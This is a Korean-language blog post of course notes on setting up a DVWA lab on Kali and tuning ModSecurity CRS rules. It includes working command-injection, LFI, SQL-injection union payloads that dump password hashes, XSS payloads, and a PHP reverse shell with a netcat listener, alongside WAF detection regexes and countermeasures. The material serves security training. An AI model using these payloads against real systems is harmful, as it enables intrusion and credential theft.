Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

보안교과서

[SK shieldus 새싹 성동1기] 온프레미스와 클라우드 환경의 보안관제 실무 환경 설정 본문

카테고리 없음

[SK shieldus 새싹 성동1기] 온프레미스와 클라우드 환경의 보안관제 실무 환경 설정

dogeconfig 2023. 12. 11. 21:54
cd /usr/share/modsecurity-crs

l환경변수 설정하는거 올려도 괜찮나?

시작할 때 vmware 라이센스 만료로 당황스러웠다.

재설치하라고 했던 강사님 말이 기억에 남아서 재설치해도 ..시디키 뭐 인증하라고해서

뭐 어떠한 방법으로 해결했다.

그래서 칼리 리눅스 들어가서 

칼리 리눅스 로그인 화면

상단에 터미널 들어가기 

 

검은색아이콘 터미널

root로 들어가기

sudo su

apt update

apt install kali-linux-labs -y

순으로 진행 근데 처음 할 때 lab 설치 할 때 나는 이상한 오류 

bad connection이라길래 nat 잘못 연결했나하고 이것 저것 만지다가

그냥 칼리 재접속하니까 해결

오랜 설치 끝에 

dvwa-start

입력 시 이렇게 색이 변해야 정상적으로 설치된 것이라고 하신 것 같은데..

그 다음 수정해야하는 파일 2가지가 있어서 경로로 들어가서 수정해줘야한다.

mousepad /etc/php/8.2/apache2/php.ini

# 870번 라인 allow_url_include = off 에서 on 으로 변경

mousepad /etc/php/8.2/cli/php.ini

# 같은 라인 870번 라인 allow_url_include = off 에서 on 으로 변경

mㅐㅕ

항상 변경 후 ctrl s로 저장하자

그 다음

dvwa-stop 

# 서비스 스탑

근데 왜 정지하는거지 ; (수정 예정)

cp -r /usr/share/dvwa /var/www/html

dvwa에 있는 거 복사해서 html로 전부 옮기겠다 그런의미

service apache2 start

아파치 재시작 

firefox 접속해서 도메인 창에  localhost , localhost/dvwa 입력해보자

페이지 실행 확인 

페이지 실행 확인 

좌측 setup/reset DB 들어가서 

하단의 create 버튼 입력 

그러면 SETUP SUCCESSFUL이 뜰 것이다. (캡처는 못함)

그 다음 옵션 설정 해야한다.

파이어폭스 새로운 탭 추가

about:config

 

가볍게 경고 무시

들어가서 proxy. 검색 후 빨간 줄 설정값 수정 더블 클릭하면 수정가능하다. (false -> true)

다시 터미널로 가서 

ls -l /var/lib/dvwa/uploads 

# 이 경로에서의 업로드 권한을 확인  drwxe-xr-x 일 듯

chmod -R 777 /var/lib/dvwa/uploads

#권한 변경

ls -l /var/lib/dvwa

#정상적으로 변경되었는지 확인

권한 변한 것 확인 

그러면 dvwa 사이트에 file upload 경고창에 오류 문구 보이지 않는다.

 

그 다음 다시 터미널로

apt install libapache2-mod-security2 -y

# 그러면 차르륵 나오는데 apache2_invoke : enable moduel security2 를 확인 한다 (정상적 설치 확인 )

cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

#복사 

mousepad /etc/modsecurity/modsecurity.conf

# 복사한 config 파일 오픈하고 수정하자

여기 혼자하다가 오타 못 알아봐서 고생했음 

암튼 7번째 줄 On으로 수정 

저장 꼭 하고

systemctl restart apache2

#아파치 재시작 

cd /etc/apache2/sites-available

#test role 확인 제대로 동작하는지 / 통해서 000-default.conf 확인 

mousepad 000-default.conf 

#confif 파일 열어라
#</virtualHost>
#31,32줄에  각각 새로 추가

SecRuleEngine On
SecRule ARGS:testparam "@contains test" "id:9999999,deny,status:403,msg:'TEST rule'"

파이어 폭스 접속 

확인하는데 음.. 강사님이 오류발생 ..? 

DVWA SECURITY에서 LOW로도 설정하시고 이것저것 만져보시는데 MAIN PAGE만 적용이 안된다고 하셨다.

다시 DVWA들어가서 

입력 후
Forbidden 403 코드 뜨는 것 확인

 module security가 실행 중이라 뜨는 것이다. 라고 하셨다.

 

들어가서 에러 로그 뜨는 것 확인 

나머지 추가 환경 변수 추가하면 더 추가하겠습니다.

 

12/12 2일차 

 

cd /etc/apache2/sites-available 

mousepad 000-default.conf

#000-default.conf 수정하기

 

변수 수정을 했다 .

32번째 줄 msg 내용이랑  id 뒤의 999를 변경했는데 중요한 값은 아닌 것 같다.

curl -X GET http://127.0.0.1/?testparam=a

#잘 나옴 

curl -X GET http://127.0.0.1/?testparam=test

#403출력

testparam=a 는 잘 나온다

하지만

testparam = test는 forbidden 403 출력

test는 403

cd /etc/modsecurity/ 

mousepad modsecurity.conf

# 7번쨰 라인 security 엔진을 온오프 하면서 서비스 변경

 

rules 들어가서 ls

여러 con파일 확인

 

mousepad REQUEST-930-APPLICATION-ATTACK-LFI.conf 
파일을 열어보자

30번째 부터 설정값변경

변경 전 설정값

그 전에 

------------------------------------------------------------------------------------------------------------

[URL구조 이해]

ex) https://teest.com/?abcd=1234
      https : 사용하는 프로토콜
test.com : domain(절대 변하지 않는 값, 고정된 주소)
?abcd = 변수(파라미터)
1234 : 변수에 대입할 데이터 값 

ex) https://test.com/abcd/1234
abcd : path(경로)를 나타냄
1234 : page를 나타냄

[웹 취약점 진단]
1. 파라미터 변조 
2. 게시글 입력
3.  프로세스 검증 
4. 자동화 스캔 

3제외 하고 124만  웹 방화벽을 가지고 탐지가 가능하다. 
3은 탐지가 불가능하다 .그이유는 실행하는 순서를 강제 조작하는 것이기 때문에 웹 방화벽은 감지 x

https://test.com/abcd/1234/<SCRIPT>alert('test')</script> >> 모두 path로 인식  그래서 대표적인 오탐 ...

abcd또는 1234에 sql 쿼리나, LFI, XSS등 입력을 해도 실행이 안됨 

------------------------------------------------------------------------------------------------------

SecRule : 접두어(무조건 사용해야함)
REQUEST_URI_RAW|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer|XML:/* : 탐지영역
uri_raw : uri값을 raw값으로 확인 (바이너리 또는 hex값으로 체크)
args : 변수체크(파라미터)
request_headers : 사용자 요청 헤더 필드 검사
!REQUEST_HEADERS:Referer : 해당 필드(referer)는 체크 하지 않겠다. (!는 not을 의미한다.)
XML:/* : xml 필드 체크하겠다.

 "@rx (?i)(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8|e)0%80%ae|2(?:(?:5(?:c0%25a|2))?e|%45)|u(?:(?:002|ff0)e|2024)|%32(?:%(?:%6|4)5|E)|c0(?:%[256aef]e|\.))|\.(?:%0[01]|\?)?|\?\.?|0x2e){2}(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\/))" : 탐지하고자 하는 문자열 (텍스트, 정규표현식 모두 사용가능)

@rx : 해당 문자열로 시작을 의미
()는 각각의 OR 조건 
../../../../
.%5c/.%5c/.%5c/.%5c/

4번째 필드  액션 필드 
file:///

   "id:930100,\  : 탐지 되었을 때 고유 식별 값
    phase:2,\    :phase는 1~5 까지 존재 , 생략 가능 (두번째 필드에서 지정)
                                1> REQUEST_HEADER체크
                                2>1 + REQUEST_BODY 체크
                                3>2+RESPONE_HEADER 체크
                                4>3+RESPONSE_BODY 체크
                                5>ALL
    block,\     : 차단 옵션 (실행을 막음), DENY > 거부 (실행은 하지만 결과값 반환X)
    capture,\  : LOG를 기록(생략 가능)
    t:none,\    :  t옵션지시자에는 대소문자 구분 옵션, 인코딩, 디코딩 탐지 옵션이 있음 : 룰을 작성할 때 대소문자, 인코딩                          데이터등을 고려하여 룰 작성 필요 
       
    msg:'Path Traversal Attack (/../)',\   : 탐지되었을 때 로그에 남길 메시지
    logdata:'Matched Data: %{TX.0} found within
    %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',\  : 생략 가능 
    tag:'application-multi',\   : 액션 필드 (룰에 의해 탐지 되었을 때 취할 행동)

modsecurity.conf  

오프로 변경 후 아파치 재시작 

로컬 호스트 dvwa 접속 

 

security level 변경 \

cmd 창 입력 

이렇게 나온게 맞나?

 

 

 

http://127.0.0.1:42001/security.php 접속

시큐리티 로우 값으로 변경 

체크한 것들을 해본다.

[ 웹 취약점 이해 ]

1. command injection

>>  명령어 주입 공격(시스템에서 사용하는 명령어를 사용할 수 있는 환경)

:: 취약점 발생조건 : 소스코드 내 시스템 함수 사용

소스코드 시스템 함수 : exec, system, cmd, shell 과 같은 함수 사용 

>> 취약점 검증 : ; , | , || , &&를 통해 검증 가능 

;  :  첫번째 명령어와 상관없이 두번째 명령어 실행

| : 첫번째 명령어 에러 발생 시 두번째 명령어 실행 

|| : 첫번째 명령어 성공시 두번쨰 명령어 실행안

&& : 첫번째 명령어 실행 시, 두번째 명령어 실행

:: 파라미터 데이터에 ';ls'와 같이 입력하여 실행 여부 확인 

>> 입력되는 데이터의 인코딩 여부 고려를 해야함 

>>일반적인 웹에서는 취약점이 거의 없음, 네트워크 장비의 관리자 페이지에서 많이 발생됨 

>> 단순히 web 서버만 보호할게 아니라 모든 대역에 대해 보호가 필요 

 

2. File Inclusion

>> 파일 참조 공격

>> L(Local)FI ,  R(Remote)FI

>> 취약점 원인 : include, locate, show ,content, action등 함수에서 발생 

>>취약점 검증 : 파라미터 데이터에 입력, 리퀘스트 바디 필드에 입력하여 검증 

::LFI : ../../../../../를 통해 특정 위치 파일 참조 

(file:///로 특정 파일 열람)

ex)?page=file1.php와 같은 구조는 취약점 확률이 높음

::RFI : http://~ 원격지 주소 

::LFI는 단순히 타켓 서버에 저장되어 있는 파일을 열람하는 수준에 그치지만, RFI 는 공격자가 만들어놓은 취약한 페이지를 타켓 시스템으로 임포트하여 실행하므로 RFC 공격 연계 가능 

RFI 가 가능하면 원격지 에서 타켓 시스템에 원하는 파일 생성 , 실행 가능

3. FILE UPLOAD 

 

>> 게시판의 업로드 기능을 통해 악성 파일을 업로드하여 실행 

>> 취약점 : 확장자 기반의 필터링, 헤더 정보에 컨텐츠 타입 필터링

>> 취약점 검증 : PHP, sh ,html등 확장자를 가지고 파일 업로드 

cd /home/kali/Desktop 

cp /usr/share/webshells/php/php-reverse-shell.php ./

#데스크탑 경로로 복사 

ip ad로 ip 확인 

mousepad php-reverse-shell.php 

49 칼리 ip 변경
50 수정 안해도 ㄱㅊ

>>FileUpload는 게시판 뿐만 아니라 METHOD를 통해서도 강제 업로드 가능 (WAF로 대응 불가) > PUT 

::PUT메소드가 활성화 되어 있더라도, 해당 디렉토리에 쓰기 권한이 없으면 사용 불가 , 사용되는 method는 path별로 각각

설정도 가능 , 즉 폴더별로 쓰기 권한이 다를 경우 취약점이 없을 수 있음 . 서브 도메인까지 모두 확인 필요 

:: http://test.com 메인, http://mail.test.com은 은 서브 도메인이 됨

 

dvwa upload 들어가서 데스크탑 파일 선택

 

 

upload 확인

nc -lvnp 1234

 

아까 업로드한 파일 경로 복사 후 입력

 

 

들어가면 이리뜨는거 맞나 ?

 

들어가면 로그? 는 남는 것 같음 
SHELL확인 

4. SQL Injection 

ex)  $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

의미없는 것들을 지우면 ..

 SELECT first_name, last_name FROM users WHERE user_id = '$id'

select : 검색 쿼리

first_name, last_name : 컬럼명

From users : 검색할 테이블 지정

where : 조건 설정

user_id = '$id" id가 N입력될 경우 N번에 맞는 first&last name출력

[DB이해]

데이터베이스 : 테이블이 저장되어 있는 전체 구조

테이블 : 특정 목적을 가지는 컬럼과 행으로 구성

컬럼 : 더이상 쪼개질 수 없는 속성 정보

행 : 저장되는 데이터

 

일반적으로 WEB 서버는 1개의 DB안에 여러개의 TABLE로 구성 

EX) 

[ DB와 아파트 ]

데이터베이스 = 아파트 이름 (래미안)

테이블 = 각 호실 의미(101호 , 201호 등)

컬럼 = 주방, 욕실, 식탁 등 

행 = 주방안에 있는 실제 용품들(도마, 식탁 등)

EX) WHERE user_id = '1'  or '1' = '1' #' 조건절만 확인 하면됨 > 구조

SQLi 원리 : 1 ' or '1' = '1'  # 쿼리를 완성하여 구조(문법)오류 제거

'1'  or '1' ='1'#' or은 둘중 하나만 참이면 무조건 반환(저장된 첫번째 행 테이터가 출력됨)

로그인 우회 : 'or 1=1 # , 'or 1=1 -- 사용

#,-- : 주석처리 구문

WHERE USER_ID = ' test' or 1=1 #' AND pass='abcd'

 

WHERE USER_ID = ' test'  AND pass=' ' or 1=1 #'

정보 추출 :  'union select 구문을 사용 > 다중 검색 구문 

WHERE user_id = '1 ''union select 1,2,3# 으로 컬럼 갯수부터 파악 

UNION은 AND 개념 

컬럼 갯수 파악은 내가 쿼리를 입력하고 있는 페이지 기준 -> 반환되는 데이터 구조, ex) 게시글 조회시, id,content,date ,name처럼 4개의 컬럼으로 구성시 union select 1,2,3,4#을 입력해야 정보 추출(SQLi)이 가능한지 확인 가능한지 확인할 수 있음 1,2,3을 하나씩 증가하여 입력 컬럼 갯수를 찾음

아이디 1 입력

 

5까지 나오는 것을 보고 아이디가 5개 나오는것을 확인 가능하다 .

이게 localhost로 들어가서 입력하면 포트 오류가 뜨기 때문에 127.0.0.1:42001포트로 들어가서 입력하니까 해결되었다., 

1 'union select 1,@@version#

Surname

1 'union select 1,schema_name from information_schema.schemata#

dvwa : web이름 

>> schema_name : DB 이름 

>> Information_schema : table, DB 정보를 가지고 있는 테이블(DB 이름, table 컬럼명을 저장)

 

1 'union select 1,table_name from information_schema.tables#

 

table 이름들 출력되는 것 확인 

조건 추가

1 'union select 1,table_name from information_schema.tables where table_schema='dvwa'#

테이블 종류 : guestbook : 게시판 /users:  유저

 

1 'union select 1,column_name from information_schema.columns where table_name='users'#

id password 출력이 될 것이다.

우리가 확인하고 싶은게 user와 password이다 

 

 

1 'union select 1,column_name from information_schema.columns where table_name='users'# 에서

1 'union select user,password from users#

1 'union select user,password from users#

으아

UNION 은 같은 

https://crackstation.net/

ID: 1 'union select user,password from users#
First name: admin
Surname: admin

ID: 1 'union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1 'union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1 'union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 'union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1 'union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

여기서 해쉬값만 남기고 정리해서 입력 

 

5. XSS >> CSRF(XSS 취약점이 있어야 가능)

>> Cross Site Script, 스크립트를 통해 정보를 전송하거나, 다운로드 할 수 있게하는 취약점 

>> <script>, <img>, <div>와 같은 태그가 허용 되어 있을 경우 가능

: <script>alert("test")</script> 로 취약점 검증 

>>xss를 가지고 할 수 있는 고도화된 공격은 없음 (악의적인 페이지로 리다이렉트 되도록 코딩은 가능) 

입력 

<script>al

<script>alert("test")</script>ssss

 

maxlength 10 -> 100? 변경 

------------------------------------------------------------------------------------------

[대응방안] WAF 는 정적 (알려진) 데이터 기반으로 가능 

1. command Injection >> 파라미터 변조 공격

>> 가장 쉬운 대응은 ; , | , || ,&& 문자열을 치환 (시큐어코딩)

>>WAF에서 문자열을 탐지하도록 룰을 설정

2. File Inclusion

>> 가장 쉬운 대응은 ../,file:///, https:// 문자열을 치환 

>> WAF에서 문자열을 탐지하도록 룰 설정

>> http://test.com/?abcd=https://attack.com URI

:: 탐지 영역을 REQUEST_URI 또는 REQUEST_BODY로 설정해야함

3. File upload

>> 화이트리스트 기반 확장자 필터 설정 

>> 업로드 되는 경로(폴더)에 실행 권한 제거

>>WAF(라는 방화벽)에서 REQUEST_BODY에 포함된 문자열 탐지 

>> 악성파일에서 많이 사용되는 문자열 탐지 

::SHELL, /BIN/SH, /BIN/BASH, CMD등 이 포함된다.

4.SQLi

>> ' 만 시큐어코딩

>> 웹서버 설정 변경(masic_quoter) (?)

>> WAF select, union, ' , --, # 문자열 필터링

REQUEST_Body, Header, ARGS 체크

5.XSS

>>  '<'  문자열 시큐어 코딩 (TAG 문자열도 필터링 )

>> WAF <,script, img, div 문자열 탐지 >> REQUEST_Body, Header,  ARGS

 

6. 헤더 변조 

>> user_agent : curl, sqlmap, acunetix, owasp-zap 등 

>>waf 에서 request_header에서 탐지하도록 룰 설정 

 

WAF 대응 불가 > 파라미터 데이터를 자동화하여 대입하는 공격 유형들

WAF는 정규 표현식을 지원하기 때문에  sqlmap >> s q l m a p 와 같은 WAF 우회용 코드를 도탐지 가능 

 

웹 취약점은 단순한 공격코드만 사용하는게 아니라, WAF와 같은 보안솔루션(시큐어 코딩도)을 우회하기 위해 NULL문자를 포함하기도함 

EX ) SPACE BAR도 NULL문자 

ASCII 의 00  08 20

 

>>WAF로그에 다양한 SQL쿼리 로그 식별 시, 홈페이지에 SQLi취약점이 있는지 확인만하면됨. (가장 기본이 되는 구문입력으로 실행 가능여부 판단)

 

>> SQL 쿼리를 통해 원하는 정보를 추출하는 취약점, 또는 SQL DB를 통해 SHELL(OS SHELL) 실행도 가능 

>> login 과정, 게시판 글 조회, 검색 시 SQL 쿼리를 통해 이뤄집니다. 

:login: 내가 입력한 ID, PW를 DB에 저장되어 있는지 조회

:게시판 글: 게시판에 대한 고유번호, 컨텐츠 내용,  작성일, 작성자와 같은 정보가 DB에 저장 >> 게시글 조회 시 DB에 저장된 글인지 확인해야합니다 .

: 검색 : 입력한 키워드를 통해 SQL 쿼리를 사용하여 DB에 저장된 데이터가 있는지 조회

curl -X OPTIONS -v http://127.0.0.1:42001/index.php

 

connection 이 allow 로 나와야하는데 ..(?? 맞나 )

 

curl -X OPTIONS -v http://vulnweb.com

 

not allowed 확인 

 

[HTTP METHOD 이해] : GET, POST , PUT, DELETE ,OPTIONS, 

GET : 특정 페이지를 서버로 요청 

POST : 데이터를 서버와 비교 또는 서버에 반영

PUT : 서버로 데이터를 업로드 >> FileUpload

DELETE : 서버에 저장된 데이터(리소스)를 삭제 

OPTIONS : 어떤 유형의 METHOD가 ALLOW되어 있는지 확인 

 

[공격자(공격그룹) 공격프로세스 이해]

1. 웹 >> 접근성이 용이

        >> 웹에서 식별되는 취약점은 거의 없음

        :: 2023년 1월 발생된 샤오치잉 공격은 제외 이유는 해킹당한 대상 기관에는 정보보호 조직이 없었다.

:: 웹 취약점 중 권한을 넘겨주는 취약점은 SQLi, command injection, FileUpload, LFI/RFI 4개의 취약점이 대표적 

2. 시스템 취약점

설정상 오류 또는 패치누락 등으로 발생하는 취약점(Bof), MS17-010과 같이 SMB 프로토콜의 취약점을 통해 원격에서 타겟 시스템으로 바로 접속 가능

3. 알려진 CVE 

Log4j, Apache Structure 등 (버전정보 필요)

4. 이메일 

첨부파일을 통한 악성코드 배포 (리버스쉘)

5. 물리(SUB) 

악성코드 배포, 시스템 설정 변경 등 

 

정보 수집 -> 악성코드 제작 -> 배포 -> 시스템 권한 획득 -> 악용 

정보 수집 : 플랫폼(소셜미디어, 인터넷 등), 스캐닝 공격을 통해 실행중인 서비스 식별 

악성코드제작 : 타겟에 특화된 악성코드 제작 (소셜미디어를 통해 특화된 악성코드 제작이 가능, 관심사 반영 )

ex) 교수 : 논문 , 학회참석 , 연구

A교수가 XX일 에 XXX학회를 다녀옴 게시글 확인 > XXX 학회에서 배포되는 문서로 악성코드를 삽입하여 제작 

 

배포 : 이메일로 배포

악용 단계에서 공격자는 동일 네트워크의 다른 시스템 접속을 시도함 

 

 

 

 

예시 다시 넣을 꺼임
;ls 입력

 

명령어를 입력하면 나온다

인코딩을 통해서

 

 

 

 

 

 

 

 

 

 

get 메소드에 의해 실행

소스 코드 확인 

<?php

// The page we wish to display
$file = $_GET[ 'page' ];  #  $에서 부터 ; 까지 파라미터 구조 

?>

 

취약점을 분석해보자

etc/passwd () , kali 출력 확인  마지막 줄 어딘가 ...

 

LFI는 크게 의미 없고 RFI 공격을 실행하는 것이 중요하다. OFF

아래는 RFI 인듯

include option이 off이기 떄문에

 

cd /usr/share/modsecurity-crs/rules

 

ls 

 

mousepad REQUEST-932-APPLICATION-ATTACK-RCE.conf

cd /usr/share/modsecurity-crs/rules

ls 

mousepad REQUEST-932-APPLICATION-ATTACK-RCE.conf

# SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:;|\{|\||\|\||&|&&|\n|\r|\$\(|\$\(\(|`|\${|<\(|>\(|\(\s*\))\s*(?:{|\s*\(\s*|\w+=(?:[^\s]*|\$.*|\$.*|<.*|>.*|\'.*\'|\".*\")\s+|!\s*|\$)*\s*(?:'|\")*(?:[\?\*\[\]\(\)\-\|+\w'\"\./\\\\]+/)?[\\\\'\"]*

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:\$(?:\((?:\(.*\)|.*)\)|\{.*\})|[<>]\(.*\))" \

92번째 줄 

347줄 $로 시작하는 문자열 탐지하겠다 .. 

\ s*\

 

 

http://127.0.0.1/dvwa/ 로 입장하기 

port 번호 지우고 

 

;ls

forbidden

931 번 오픈 

SecRule ARGS "@rx ^(?i:file|ftps?|https?):\/\/(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" \

file ftps https   d = digit

도메인 창에
https:// 반응 안함 ..?

file upload 바로 업로드시 forbidden

 

SQLi = 942

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:select|;)\s+(?:benchmark|sleep|if)\s*?\(\s*?\(?\s*?\w+)" \

 

select

 

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i:(?:[\"'`](?:;?\s*?(?:having|select|union)\b\s*?[^\s]|\s*?!\s*?[\"'`\w])|(?:c(?:onnection_id|urrent_user)|database)\s*?\([^\)]*?|u(?:nion(?:[\w(\s]*?select| select @)|ser\s*?\([^\)]*?)|s(?:chema\s*?\([^\)]*?|elect.*?\w?user\()|into[\s+]+(?:dump|out)file\s*?[\"'`]|\s*?exec(?:ute)?.*?\Wxp_cmdshell|from\W+information_schema\W|exec(?:ute)?\s+master\.|\wiif\s*?\())" \

165줄 c(?:onnection

278

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?i)union.*?select.*?from" \

 

941번오픈 

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|REQUEST_HEADERS:User-Agent|REQUEST_HEADERS:Referer|ARGS_NAMES|ARGS|XML:/* "@rx (?i)<script[^>]*>[\s\S]*?" \

결과값은 차단 게시글은 올라오지않음

로그가 저장되는로그로 이동 

cd /var/log/apache2

들어가서

error.log 와 modsec_audit.log 2개의 로그를 확인하면 됨 

Modserucurity log는 a~z까지의 필드로 구성됨 (6개 정도 사용)

>> modsex_audit.log가 필드로 구성됨 

error.log 는 딱 한 개의 필드 탐지 내역만 저장해줌 

cat error.log

 

마지막 로그 

[Tue Dec 12 02:41:00.314691 2023] [security2:error] [pid 225839] [client ::1:56330] [client ::1] ModSecurity: Warning. detected XSS using libinjection. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "56"] [id "941100"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found within ARGS:mtxMessage: <script>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "localhost"] [uri "/dvwa/vulnerabilities/xss_s/"] [unique_id "ZXgOjCevCotlWOIPTy8UpQAAAAY"], referer: http://localhost/dvwa/vulnerabilities/xss_s/

a 로그인 시작 알림 

e - respone body

F 는 Respone Header 

h 는 error에 기록되는 로그와 동일, 시간 정보만 a 필드 

j 업로드 되는 데이터 파일 이름 

z 로그의 끝 ()

특정 통계에 대해 통계 > 키워드로 검색